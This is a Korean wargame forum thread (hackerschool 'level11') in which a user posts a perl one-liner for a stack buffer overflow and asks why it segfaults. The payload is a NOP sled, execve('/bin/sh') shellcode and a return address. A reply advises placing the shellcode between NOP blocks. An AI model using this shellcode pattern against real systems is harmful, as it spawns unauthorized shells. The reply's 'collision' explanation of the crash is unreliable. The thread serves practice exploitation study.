레벨 해킹

 2839, 1/142 회원가입  로그인  
   w7040
   http://없어요~
   level11

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3185 [복사]


level11 에서 `perl -e 'print "\x90"x243,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x10\xf9\xff\xbf"'`

이걸 쓰면 세그맨테이션오류가 나는 이유가 뭔지 궁금합니다 ..

제 짧은 지식 도와주세요 고수님들 ㅠㅠㅠㅠ

  Hit : 3092     Date : 2011/01/30 10:05



    
별빛을담아 크흐... 이분도 NOP썰매를 이용하시는군요 ㅋ
저도 형들에게 처음 보고 배운건데 ㅋ

저도 한번 저렇게 넣었는데 한번은 성공하고 그 이후에는 다 실패했습니다.
그 이후에 제가 한 대처법은 NOP사이에다가 쉘코드를 넣었지요.

이 점을 미루어 볼때 제 생각은 아마 컴퓨터가 일시적인 착각을 하는게 아닐까 싶네요
짧게 말하자면 내가 넣은 공격코드와 정상적인 코드가 충돌을 일으킨거지요.

따라서 일종의 쿠션 역활을 하는 NOP 사이에 쉘코드를 넣음으로써 충돌을 막은 것이지요.
예를 들자면...
NOP 243byte + Shellcode 25byte + ret 4byte = 272
...가 아니라
NOP 100byte + Shellcode 25byte + NOP 143byte + ret 4byte = 272
이런 형식으로 말이지요.

덮어쓸 ret 주소는 내가 입력한 NOP중 아무 곳에 떨궈주면 됩니다. 대신 쉘코드 앞이어야 하겠죠 ㅎ
2011/01/31  
w7040 정말 완벽하고 멋진 답변이었습니다 .. ㅋㅋ 감사합니다 !! 2011/01/31  
rkdgh0112 NOP 243개나 쓰셧네 ㄷㄷ.. ㅋㅋ
아 원래 그렇게 써야돼나
2011/02/24